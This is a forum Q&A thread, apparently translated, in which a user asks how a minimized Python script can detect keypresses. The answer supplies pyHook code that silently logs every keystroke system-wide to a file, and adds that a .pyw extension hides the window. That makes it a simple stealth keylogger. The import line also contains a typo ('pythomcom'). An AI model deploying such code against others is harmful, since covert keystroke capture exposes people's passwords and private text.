python: Wait for keyboard event with minimized script?

0

I wonder if there is a way to detect events on the keyboard with my minimized script.

I have tried several methods like msvcrt.getch() , input("") and others but they only work with the focus in the script window.

The program flow is as follows:

Main function

 1 - Espera um evento(qualquer) no teclado
 2 - Se houver um evento
        Funçãoqualquer()
 3 - Se não
        retorna para a função Main
    
asked by anonymous 15.03.2018 / 14:57

1 answer

0

As mentioned earlier, you can use the PyHook library that monitors user activity through your keyboard inputs or mouse. I bumped into a video that shows an effective example of saving keyboard inputs silently using PyHook:

import pyHook, pythomcom, sys, logging
file_log='C:\important\log.txt' #Define onde as entradas serão salvas

def OnKeyboardEvent(event): #Configurações do log 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

The code may be a bit 'old' but it is a clear example of how such functionality would be. For the script to work silently in fact it needs to be saved in format pyw which causes it to execute without opening an execution screen.

NOTE: In the cited video it is said that such technique can be used in a malicious way so use it in a conscious way.

    
10.07.2018 / 02:35